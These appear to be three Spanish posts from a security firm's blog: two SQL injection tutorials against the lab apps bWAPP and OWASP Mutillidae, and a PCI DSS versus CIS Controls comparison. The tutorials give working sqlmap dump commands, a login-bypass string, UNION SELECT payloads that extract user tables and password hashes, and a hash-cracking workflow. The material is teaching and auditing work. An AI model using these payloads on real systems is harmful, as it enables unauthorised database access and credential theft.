Automatizando inyecciones con SQLMAP

SQLMAP es una herramienta gratuita (open source), escrita en Python la cual nos va a ayudar testear/automatizar el proceso de detección y explotación de inyecciones SQL.

Esta herramienta es capaz de realizar consultas en bases de datos como MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, HSQLDB y H2. 

Como se comentó en la anterior entrada del blog “Hacking de Aplicaciones Web vulnerables a SQL Injection” vamos a seguir utilizando la aplicación vulnerable bWAPP.

Accedemos a la aplicación web y seleccionamos en el menú, el apartado SQL Injection (Search/GET).



Una vez que ya tenemos iniciada la aplicación, vamos a colocar una comilla simple “ ‘ “ en el campo de búsqueda.


Como podéis ver en la siguiente captura nos arroja un error de sintaxis como el siguiente: “You have an error in your SQL syntax”. Que da indicios que la aplicación podría ser vulnerable a SQL Injection.


Una vez detectada que los datos introducidos no son saneados, se utiliza la herramienta SQLmap. Tenéis mucha información en su web principal: http://sqlmap.org/. Podéis descargarla y utilizarla tanto como para Windows (si lo hacéis acordaros de instalar Python) como para Linux. Yo en este caso utilizare Kali Linux.

Para ello necesitamos descubrir el parámetro vulnerable. En este caso es el parámetro “title” señalado en la siguiente captura:


Para simular la consulta como si se lanzara desde la propia página web utilizaremos alguna cookie como las mostradas a continuación:


Nos vamos a fijar en la parte del “GET” y en el apartado de cookie, que es lo que le vamos a facilitar a SQLmap para que pueda realizar las inyecciones. El comando –u es para indicarle la web sobre la que vamos a atacar:


Los campos que aparecen señalados en rojo indican que se trata de una base de datos MySQL y que el parámetro “title” si es vulnerable.

Ahora vamos a intentar listar todas las BBDD del back-end, para ello añadimos al final --dbs:
root@kali:~# sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" --dbs

Y como se puede apreciar podemos ver qué base de datos existen:


Y en este caso, vamos a centrarnos en la base de datos bwapp y conocer que tablas contiene. Para ello indicamos con –D la base de datos y --tables para averiguar las tablas:

root@kali:~# sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" -D bwapp --tables


Una vez que tenemos tablas y vemos una que nos llama la atención, la tabla users. Vamos a ver que contiene. Añadimos el argumento -T para indicar la tabla, que en este caso es users y que a su vez nos muestre las columnas con la opción --columns.

sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" -D bwapp -T users –columns


A continuación, vamos a descargar los campos que nos interesan que son: login,email,password. Lo hacemos con el -C para indicar las columnas que queremos (si son varias delimitarlas por comas) y --dump para descargarlas:

sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" -D bwapp -T users -C login,email,password, secret  --dump


También se descargan dos documentos que son en formato csv y txt en los que podéis ver lo que se ha descargado.

Si quisiéramos descargar todo, tan fácil como no especificar la columna y dejar solo el apartado --columns y añadir –dump:
sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" -D bwapp -T users --columns --dump


Conclusiones y Dudas

Como se ha podido ver, hemos podido consultar y acceder a una base de datos de la cuál previamente no teníamos acceso. Con la herramienta SQLmap lo que hacemos es automatizar las tareas de realizar las consultas/inyecciones SQL de una manera más sencilla y cómoda.

Sobre todo, es importante antes lanzar cualquier consulta desde SQLmap tener en cuenta que existe riesgo de causar impacto en la disponibilidad del servicio.

Y hasta aquí la pequeña guía de inyecciones SQL, espero que haya sido de vuestro agrado.


Autor: Héctor Berrocal - CCNA, CEH, ITILF, MCP
Dtpo. Auditoría

PCI DSS y CIS Controls: cómo cumplir con ambos estándares


Del mismo modo que el mundo digital crece y evoluciona sin descanso, así lo hacen también las amenazas y los peligros que lo acechan. Afortunadamente, cada vez son más las compañías que están realmente concienciadas sobre la importancia de la seguridad de la información y que comienzan a adaptar sus procedimientos y a integrar herramientas específicas con este fin.

De esta forma, la ciberseguridad es un camino vivo, que no se acaba y que debe recorrerse 24/7. Por eso es tan importante planificarlo con cuidado. Antes de ponerse en marcha hay una decisión esencial que debe tomarse: ¿cuál de los muchos caminos existentes voy a seguir?, es decir, ¿qué marco de seguridad es mejor para mi organización?

PCI DSS: Bastante extendido, pero impuesto y muy específico

En el caso de PCI DSS, a pesar de ser un estándar de obligado cumplimiento para cualquier entidad que procese, transmita o almacene datos de tarjeta, muchas compañías no dan el paso definitivo hasta que les llega la imposición de certificarse oficialmente, una obligación que suele provenir del banco adquiriente o de un gran cliente o proveedor clave. En definitiva, el requerimiento de cumplimiento por parte de un tercero, aunque siempre parece inoportuno, se convierte muy a menudo en la puerta de entrada al mundo de la seguridad “reglada”.

Para una empresa consolidada y comprometida con la seguridad, PCI DSS, que pone el foco en un lugar muy concreto, pondrá sobre la mesa, de forma indirecta, una cuestión muy importante: fuera de los datos de tarjetas de pago, ¿qué se hace para proteger el resto de información sensible y confidencial de la empresa?

Deberán protegerse los datos personales de clientes y empleados (RGPD), por supuesto, pero también informes económicos o estratégicos, planes de expansión, negociaciones con proveedores o información muy específica del core del negocio como podría ser una fórmula secreta para la producción de alimentos o bebidas.

¿Hay alguna forma de abarcar fácilmente todo esto? ¿Bastaría con extrapolar nuestros controles de seguridad o debemos buscar un nuevo marco de seguridad?

La respuesta, como no podía ser de otra forma, es “depende”. Siempre será necesario realizar un gap análisis previo y minucioso: concretar cuál es la información valiosa de la compañía, cómo se genera o por dónde entra, dónde reside, si está en soportes físicos o digitales o en ambos, qué controles de acceso se han establecido, cuándo y cómo se elimina cada pieza de información, etc.

CIS Controls: Una opción genérica y versátil

Los controles del CIS tienen precisamente un enfoque de ciberseguridad global, apoyándose en controles bastante diversos para proteger aquella información que una compañía haya categorizado como sensible, independientemente de su naturaleza.

Aprovechando que este año se publicó la versión 7.1 de los CIS Controls, vamos a evaluar a alto nivel un caso muy concreto de ampliación o extensión de la seguridad: la posibilidad de una transición entre PCI DSS y CIS Controls, de forma que partiendo de uno de ellos quisiéramos cumplir ambos. Porque, si bien es cierto que a nivel de controles específicos parecen tener muchas similitudes, a continuación, comprobaremos que se trata de dos marcos de seguridad bastante distintos.

Diferencias y similitudes


Exponemos una muestra con nueve puntos generales donde podemos apreciar algunas de las diferencias y similitudes que guardan entre sí el estándar PCI DSS y los CIS Controls:
  1. Objetivo
Como ya hemos mencionado, PCI DSS se enfoca exclusivamente en la protección de los datos de tarjeta: cuando están almacenados en cualquier soporte -físico o digital-, cuando se transmiten y cuando se procesan; mientras que CIS Controls es un marco genérico de Seguridad para proteger cualquier información que una compañía considere valiosa y sus sistemas críticos.

Es decir, ambos marcos serían equivalentes si una organización considerara como única información sensible los números y datos de tarjetas de pago que maneja, pero es difícil que sea así, pues, como mínimo, tendrán almacenada información personal de sus propios trabajadores, por no hablar de información sobre clientes, acuerdos, planes estratégicos que la competencia no debería conocer o incluso una fórmula secreta clave.
  1. Alcance
El PCI Security Standards Council publicó una guía para definir el alcance de PCI DSS que deja poco espacio para la imaginación y las interpretaciones: a grandes rasgos, se establece un Cardholder Data Environment o CDE conformado por aquellos sistemas que intervienen directamente en el procesado, almacenaje o transmisión de los datos de tarjetas (y aquellos que estén en las mismas VLANs) y también se añaden al alcance aquellos sistemas que se conectan con el CDE o afectan a su seguridad de alguna forma.

Sin embargo, en los CIS Controls no se menciona la palabra “alcance” ni una sola vez en este sentido (únicamente para concretar las pruebas de penetration tests), por lo que podría entenderse que los controles deben aplicarse a todos los sistemas de la organización o que simplemente esto quedará bajo su criterio.
  1. Certificación
PCI DSS obedece a un sistema clásico de certificación, donde empresas y profesionales se acreditan como auditores cualificados (QSAs) y las empresas que demuestran cumplimiento obtienen una certificación con validez anual.

Por su parte, CIS Controls no sigue este modelo: serán las propias organizaciones quienes, bajo su criterio, determinen el nivel de cumplimiento conseguido respecto a la lista de controles. Es decir, este marco de seguridad sólo da pie a realizar auditorías para controlar de forma interna el cumplimiento, sin poder acreditarlo de forma objetiva ante otras organizaciones.
  1. Inventarios
La creación y mantenimiento de un inventario actualizado con todo el detalle de los sistemas que entran en alcance es posiblemente uno de los controles más elementales que, a priori, ambas normas tienen en común. Sin embargo, basta entrar un poco en profundidad para entender que incluso aquí hay diferencias significativas.

Por ejemplo, PCI DSS en su requisito 2.4, indica claramente “Lleve un inventario de los componentes del sistema que están dentro del alcance”, dejando total libertad a las organizaciones en cuanto a la forma en que se genera y mantiene en el mismo.

Pero los CIS Controls, en su control 1, van mucho más allá y no se conforman con la existencia de un inventario, sino que especifican cómo ha de realizarse: combinando una herramienta de descubrimiento activo (control 1.1) y una herramienta de descubrimiento pasivo (control 1.2):

Por descubrimiento activo entendemos escanear la red “activamente” para poder encontrar dispositivos, del mismo modo que haría un barrido de ping o un escaneo con NMAP, que precisamente aúna varios protocolos de comunicaciones para obtener esta información. De hecho, podrían usarse las mismas herramientas encargadas de hacer escaneos de vulnerabilidades. Mientras que por descubrimiento pasivo hemos de entender una revisión de los registros de tráfico de la red (firewall, DNS, DHCP) en busca de nuevos dispositivos no controlados en el inventario.

Como puede verse, la complejidad y rigidez añadida en los CIS Controls puede acabar dando algún quebradero de cabeza.
  1. Uso de Multifactor de Autenticación (MFA)
Aunque en versiones anteriores de PCI DSS se hacía alusión al doble factor de autenticación o 2FA, desde su versión 3.2 se hace referencia al multifactor de autenticación, que da una idea más clara que cada factor debe tener una naturaleza distinta (por ejemplo, el uso de dos contraseñas no cumpliría MFA; mientras que contraseña y token OTP, sí) y deja la puerta abierta a incorporar más de dos factores.

PCI DSS es muy específica sobre los casos en que debe hacerse uso del MFA:
  • Para todo acceso administrativo individual que no sea de consola (requisito 8.3.1)
  • Para todo acceso remoto desde fuera de la red de la entidad al CDE (requisito 8.3.2)
Sin embargo, los CIS Controls son mucho más ambiciosos (quizá demasiado, como veremos a continuación) e incluso bastante dispersos, pues mencionan el multifactor de autenticación hasta en cinco ocasiones distintas:
  • Para todo acceso administrativo a los sistemas (control 4.5)
  • En los accesos para gestionar dispositivos de red (control 11.5)
  • En todos los accesos remotos (control 12.11)
  • Para autenticarse en las redes inalámbricas corporativas (control 15.8)
  • Para los accesos de todas las cuentas de usuario, sobre todos los sistemas, ya sean cuentas gestionadas on-site o por un proveedor (control 16.3)
Debido a este control 16.3 se requeriría el uso de MFA en absolutamente todos los accesos en la organización, algo que parece exagerado y costoso. Por ejemplo, sin más interpretación, el simple acceso de un trabajador a su PC debería ser con MFA.

Y, por si fuera poco, tras la versión 7.1 de los CIS Controls, la mayoría de estos controles se exigen para los grupos de implementación 2, es decir, ni siquiera quedan suscritos al grupo 3 que son las organizaciones más maduras y con expertise en ciberseguridad.
  1. Pruebas técnicas de seguridad exigidas
A lo largo del estándar de PCI DSS se mencionan numerosas pruebas técnicas (aunque su aplicabilidad dependerá del alcance concreto de cada organización, por supuesto) con unas periodicidades determinadas (a repetir, además, en caso de cambio significativo en el entorno):
  • Escaneos internos de vulnerabilidades con periodicidad trimestral
  • Escaneos externos de vulnerabilidades ASV con periodicidad trimestral
  • Test de penetración interno anual
  • Test de penetración externo anual
  • Revisión de código de aplicación anual
  • Escaneos de redes wireless con periodicidad trimestral
Por su lado, CIS Controls hace referencia a una batería de pruebas similares, pero haciendo uso de palabras como “regularmente” o “periódicamente” no exige periodicidades concretas:
  • Escaneo de vulnerabilidades interno de forma automatizada
  • Test de penetración internos y externos.
  • Uso de herramientas de análisis dinámico y estático de código de aplicación
  • Escaneos de redes wireless se debe delegar a una herramienta especializada WIDS para que se realice de forma automática y continua
  1. Políticas y procedimientos
Hoy en día es bastante evidente la necesidad de que una organización mantenga por escrito un mínimo de procedimientos y políticas, que den soporte y sirvan de referencia al resto de tareas que han de realizarse de forma regular para mantener la seguridad en los niveles adecuados. Es la única forma de garantizar que un proceso se realiza de forma óptima independientemente de las personas involucradas.

A pesar de esto y a pesar de la gran cantidad de tareas que pide realizar, CIS Controls sólo exige la existencia de un documento:
  • Plan de respuesta ante incidentes (control 19.1).
Nada que ver con el enfoque de PCI DSS, que reserva su requisito 12 para centrarse en políticas de seguridad y exige cubrir muy diversos contenidos:
  • Política de seguridad de la información
  • Procedimiento de ejecución de análisis de riesgos
  • Política de uso de tecnologías críticas
  • Procedimiento de contratación de personal en el entorno PCI DSS
  • Política de gestión de proveedores
  • Plan de gestión de incidentes de seguridad
  • Etc.
De hecho, en otros requisitos de PCI DSS también se exige tener alguna documentación escrita, como podría ser, por ejemplo, un procedimiento de gestión de cambios o un procedimiento para la inspección física de datáfonos o una guía de bastionado para establecer una configuración segura en un sistema.
  1. Copias de seguridad
Este es uno de los puntos donde se pone más en relieve las diferencias de criterio entre ambos marcos de seguridad.

PCI DSS no exige realizar copias de seguridad de los datos de tarjeta; en caso de que se hagan, pide comprobar que no haya números de tarjeta en claro en esas copias y que se verifique que los medios de almacenamiento se encuentren en un lugar físico protegido. Sí se pide, sin embargo, hacer copias de los logs o registros de auditoría a algún dispositivo o servidor centralizado donde sean difíciles de modificar, primando así la integridad de esta información que hace posible la investigación de un incidente.

Por otro lado, CIS Controls sí exige que se hagan backups de la información crítica de la compañía y de los sistemas que la tratan, y dedica su control 10 a esta actividad: la realización de copias de seguridad debe hacerse de forma regular e incluso automatizada, deben usarse técnicas que luego permitan una restauración rápida, debe establecerse un proceso regular de pruebas de recuperación para verificar que las copias son válidas, etc.
  1. Seguridad física
Si en el punto anterior veíamos que los Controles del CIS se tomaban mucho más en serio las copias de seguridad, en lo que respecta a la seguridad física cambian completamente las tornas:

Uno de los doce requisitos que componen PCI DSS, el requisito 9, está dedicado por completo a la seguridad física. Se establecen controles para el acceso a los dispositivos que tratan o almacenan los datos de tarjeta, para las personas que visitan las instalaciones de la organización, sobre cómo deben gestionarse los medios de almacenamiento (recepción, clasificación, destrucción), inventario e inspección de datáfonos, etc.

Sorprendentemente, los CIS Controls apenas hacen referencia a la seguridad física y se limitan exclusivamente al plano lógico. La única mención explícita se hace en su control 10.4, donde, para garantizar la protección de los backups, se proponen alternativas como la protección física o el cifrado.

PCI DSS Controles del CIS
Objetivo Datos de tarjetas de pago Info. considerada sensible
Alcance Definido
X
Sistema de Certificación X
Inventarios
Sin especificar cómo ha de generarse o actualizarse
Se especifican métodos concretos para su generación y actualización
Uso de MFA
En accesos de riesgo

En cualquier acceso
Pruebas Técnicas
Incluye prueba específica PCI (ASV)
Políticas y Procedimientos
Marco documental extenso
X
Apenas se exigen
Copias de Seguridad X
No se exigen

Se exige hacerlas y probarlas
Seguridad Física X
No se contempla


Conclusiones

Con un primer vistazo a los controles del CIS y a los requisitos de PCI DSS se puede constatar que no hay apenas aspectos que estén incluidos en sólo uno de estos dos marcos de Seguridad (el ejemplo más claro sería el de la seguridad física que ya hemos visto). En cualquier caso, esto no debería de suponer un gran problema, pues “simplemente” supondría establecer una serie de procedimientos y tareas nuevas.

El mayor desafío, sin embargo, reside en cómo dar cumplimiento a temas y actividades que se superponen, que están incluidas en ambos marcos. Porque, cuando se revisan los controles y requisitos con un poco más de detenimiento, se encuentran matices importantes en cuanto a la forma de ejecución, alcance y periodicidad de cada acción. Los dos últimos aspectos se definen muy claramente en PCI DSS, pero quedan muy abiertos en los CIS Controls, por lo que la organización debe afrontar un trabajo de análisis y reflexión importante.

Por este motivo se recomienda contar siempre con el apoyo de una compañía externa experta en Seguridad, quien será capaz de definir las necesidades específicas y encontrar las vías más sencillas y efectivas para cumplir cada control.

Referencias

Autor: Daniel Fuertes - CISSP, PCIP, ISO 27001 L.A.
Dpto. Consultoría

Hacking de Aplicaciones Web vulnerables a SQL Injection

¿Qué es SQL Injection?
Es una vulnerabilidad que permite a un atacante realizar consultas a la base de datos de una aplicación web mediante la inyección de instrucciones SQL en los parámetros vulnerables de las peticiones.

Explotando la vulnerabilidad, un atacante podría obtener información sensible almacenada en la base de datos. Como, por ejemplo, usuarios, contraseñas, correos e información confidencial.

Además, dependiendo de los privilegios que tenga, podría borrar la base de datos, cambiar el nombre de tablas, anular transacciones o escalar privilegios y acceder al sistema.

¿Por qué sucede esto?
El principal motivo es porqué el servidor no sanea correctamente el contenido de los parámetros introducidos por el usuario. En otras palabras, el servidor no comprueba que la información introducida por el usuario sea la correcta y no contenga código malicioso.

A continuación, se exponen algunos ejemplos. Al final se muestran más detalles de las máquinas usadas y se mencionaran otras máquinas virtuales con las que se pueden crear laboratorios para practicar.

Ejemplo OWASP Mutillidae
Para ello, vamos a coger un ejemplo de una máquina vulnerable, llamada “OWASP Mutillidae II”.

Se accede la web: https://192.168.0.21/mutillidae/ y, usando los menús, se accede a “User Info (SQL)”:

Instrucciones de acceso a la página vulnerable

La página tiene un panel para iniciar sesión, donde el usuario puede introducir el usuario y la contraseña:

Panel de login potencialmente vulnerable

Usando herramientas de interceptación, como Burp Suite, se puede comprobar que en la petición se envían dos parámetros: “username” y “password”. En este caso, el usuario es “test” y la contraseña “1234”:

Petición interceptada con Burp Suite

El servidor, después de procesar los datos, devuelve un mensaje de error indicando que el usuario no existe:

Respuesta del servidor

Un indicador de que el parámetro es vulnerable a inyección de SQL es que, al introducir valores no esperados por el servidor, este devuelva un error de SQL.

En este caso, se puede probar con el parámetro “username” introduciendo una comilla simple:

Intento de inicio de sesión con una comilla simple

El servidor devuelve un error no controlado con el siguiente mensaje:

Página de error

Este error indica dos cosas:
  1. El parámetro es potencialmente vulnerable a inyección de SQL
  2. El servidor no sanea los datos introducidos por el usuario
  3. La sentencia SQL que el servidor usa para procesar los datos introducidos por el usuario se parecerá a la siguiente:
SELECT * FROM Users WHERE Username=’usuario’ AND Password=’contraseña’

¿Por qué ha devuelto el servidor un error? Suponiendo que la sentencia anterior, al introducir la comilla simple, el servidor a intentado procesar una sentencia SQL con un error en la sintaxis:

SELECT * FROM Users WHERE Username=’’’ AND Password=’’

Volviendo al primer intento de inicio de sesión que se ha hecho, podemos suponer que el servidor ha procesado la siguiente sentencia:

SELECT * FROM Users WHERE Username=’test’ AND Password=’1234’

Como ni el usuario ni la contraseña son correctas, la sentencia anterior devolverá 0 líneas al servidor y este muestra el error de inicio de sesión incorrecto.

Como se desconocen los usuarios que existen, se puede intentar evadir el login. Para ello, se introducen comandos SQL para que la sentencia sea TRUE y se consiga obtener acceso.
Una manera sería usar los comandos OR juntamente con 1=1, ya que es una sentencia que siempre es verdadera.

Si se introduce ‘OR ‘1’=’1 tanto en el campo de Username como en el de Password, la sentencia SQL procesada sería la siguiente:

SELECT * FROM Users WHERE Username=’’ OR ‘1=’1’ AND Password=’’ OR ‘1=’1’

Al inyectar los comandos SQL, aunque no se sepa el usuario ni la contraseña, se puede conseguir convertir una sentencia donde las cláusulas son FALSE a TRUE, ya que los ‘ OR ‘1’=’1 provocan que tanto la cláusula del Username como la de la Password sean verdaderas.
La primera comilla (') deja en blanco la entrada del nombre de usuario. La declaración es actualmente falsa.

El operador "OR" indica a la instrucción que si colocamos algo después que sea “true” (verdadero), toda la consulta se convierte en true (verdadero).

Y finalmente la condición de '1'='1 que siempre se cumple, ya que 1 siempre es igual a 1.

Si se introduce en el login:

Explotando la inyección SQL

El servidor procesa los datos introducidos por el usuario sin validar y devuelve la sesión de administrador:  

Explotación correcta

Ejemplo bWAPP
Se carga la aplicación web bWAPP y se accede al siguiente enlace: https://192.168.0.21/bWAPP/login.php

Posteriormente se introducen las credenciales: bee/bug y se selecciona el menú SQL Injection (Search/GET)

Menú bWAPP

La página potencialmente vulnerable esta formada por una tabla y un campo de búsqueda. Si se realiza una búsqueda vacía, la aplicación lista unas películas:  

Listado de películas

Si se introduce una comilla para intentar provocar un error, el servidor devuelve lo siguiente:

Error devuelto por el servidor

El mensaje indica que la base de datos usada por la aplicación es MySQL. Además, el error indica que el parámetro es potencialmente vulnerable.

Podríamos hacer la suposición de que la sentencia que usa el servidor es similar a la siguiente:

SELECT * FROM movies WHERE title LIKE ‘title’

El objetivo es averiguar cómo se llama la base de datos actual y que tablas tiene.
Para ello se realizar la consulta union:

Inyección SQL

Como la aplicación pasa los parámetros por GET (se puede ver el parámetro y su contenido en la barra del navegador), no es necesario usar un proxy.

Inyección SQL

La sentencia SQL sería la siguiente:

SELECT * FROM movies WHERE title LIKE ‘’’ union select 1,2 -- -

El objetivo de esta inyección es adivinar cuantas tablas existen en la base de datos. Manualmente, se tiene que ir incrementando el número hasta dar con el correcto:
  • https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2 -- -
  • https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3 -- -
  • https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3,4 -- -
  • https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3,4,5 -- -
  • https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3,4,5,6 -- -
  • https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3,4,5,6,7 -- -

Al llegar a ' union select 1,2,3,4,5,6,7 la aplicación no muestra ningún error y a su vez muestra la siguiente tabla con sus correspondientes datos:

Inyección correcta

Si se prefiere que no salgan todas las películas, se debe realizar la búsqueda con un título no existente:
  • https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,5,6,7 -- -
Inyección correcta, sin películas

Al tener las consultas numeradas del 1 al 7 se pueden identificar como aparecen en la tabla:
  • Title = valor/atributo 2
  • Release = valor/atributo 3
  • Character = valor/atributo 5
  • Genre = valor/atributo 4
A partir de ahora, cuando se realicen consultas con el union, se debe tener en cuenta los campos visibles en la tabla. En este caso el 2, 3, 4 y 5.

A continuación, se intenta conseguir el nombre de la base de datos. Para ello, se substituye uno de los campos visibles por database().
  • https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,database(),6,7-- -
El servidor devuelve el nombre de la base de datos en el campo donde antes había el número 5:

Inyección correcta

Otra cosa que se puede conseguir es la versión del servidor, se puede usar version().
  • https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,version(),6,7-- -
Versión del servidor

Una vez se ha obtenido información del servidor, ya se puede ir un paso más allá y listar las tablas que tiene la base de datos.

Para ello se puede usar table_name:
  • https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,table_name,6,7 from information_schema.tables -- -
Tablas de la base de datos

A continuación, se añade la condición l where: para ver el contenido de table_schema.
  • https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,table_name,6,7 from information_schema.tables where table_schema=database() -- -
Tablas de la aplicación

Una tabla interesante es la de usuarios, ya que se pueden conseguir usuarios y contraseñas para poder acceder a la base de datos posteriormente.
  • https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' and table_schema=database() -- -
Columnas de la tabla users

La tabla users tiene los siguientes campos interesantes: login, password, email y secret. Para ver su contenido, se ejecuta la siguiente comanda:
  • https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,login,password,email,secret,6,7 from users where password<>''-'

Nota: en la consulta where se indica que muestre las filas que tengan el campo de contraseña no vacío.

Contenido de la tabla users

Se han obtenido dos usuarios con los respectivos hashes de sus contraseñas.

Lo primero que se tiene que hacer al obtener hashes, es averiguar de que tipo son.
Una herramienta es que viene por defecto en Kali Linux es hash-identifier:
  • https://github.com/blackploit/hash-identifier

Si se introduce el hash, muestra que el hash es del tipo SHA-1:

Hash-identifier

Otro método, que requiere conexión a internet, es la página CyberChef:
  • https://gchq.github.io/CyberChef/
Arrastramos “Analyse hash” en Recipe:

Menú Analyse hash

En el apartado Input pegamos el hash. En el Output la web indicará el tipo de hash es. Igual que hash-identifier, CyberChef indica que es SHA-1.

CyberChef identificando el hash

Por último, otro método para verificar el hash, es usar directamente el buscador https://duckduckgo.com/

Se escribe hash y a continuación se pega el hash obtenido:

Buscador DuckDuckGo

Igual que los dos anteriores, DuckDuckGo indica que el hash es SHA-1:

Tipo de hash

Una vez obtenido el tipo, se intentar descifrar. Para ello se pueden usar distintas técnicas.
La más cómoda es poner el hash en los buscadores. Es muy posible que alguien lo ha descifrado.
Otra opción es un descifrador online, hay muchísimos, un ejemplo seria el Descifrador online: https://sha1.gromweb.com/ 

Descifrador online

Si no se dispone de Internet, se puede usar John the Ripper. Es un programa de criptografía el cual aplica fuerza bruta para descifrar contraseñas. Viene por defecto en Kali Linux, pero se puede descargar de la siguiente web https://www.openwall.com/john/.

Lo primero, antes de utilizar John the Ripper, es guardar el hash en un archivo de texto. Para el ejemplo, se ha guardado en el fichero “hash.txt”.

Se puede ejecutar John the Ripper de la siguiente forma:
  • Windows desde cmd.exe
    John the Ripper en Windows
  • Linux desde la terminal
    John the Ripper Kali Linux
John.exe es para ejecutar el programa y en el caso de la Kali Linux, con poner John ya funciona.
Con el flag --format=raw-sha1 se indica el tipo de hash que es. En este caso raw-sha1.
Finalmente, se indica la ruta donde se ha almacenado el hash: “c:\user\miusuario\hash.txt” en el caso de Windows o /Root/Desktop/hash.txt en el caso de Kali Linux.

Después de realizar un ataque de fuerza bruta, John the Ripper nos indica que la contraseña es “bug”. Por lo tanto, sabemos que la contraseña tanto del usuario “bee” como “A.I.M” es “bug”, ya que tenían el mismo hash.

En la página inicial se puede verificar que la contraseña es la correcta:

Verificación de contraseña

¿Cómo prevenirlo?

El servidor debería:
  1. Escapar los caracteres especiales utilizados en las consultas SQL.
  2. Delimitar los valores de las consultas para mitigar ataques de inyección SQL
  3. Verificar siempre los datos que introduce el usuario.
  4. Asignar mínimos privilegios al usuario que conectará con la base de datos
  5. Antes de pasar a producción la aplicación, se debería realizar auditorías de seguridad para verificar que los parámetros no son vulnerables
Referencias:

Autor: Héctor Berrocal - CCNA, CEH, ITILF, MCP
Dtpo. Auditoría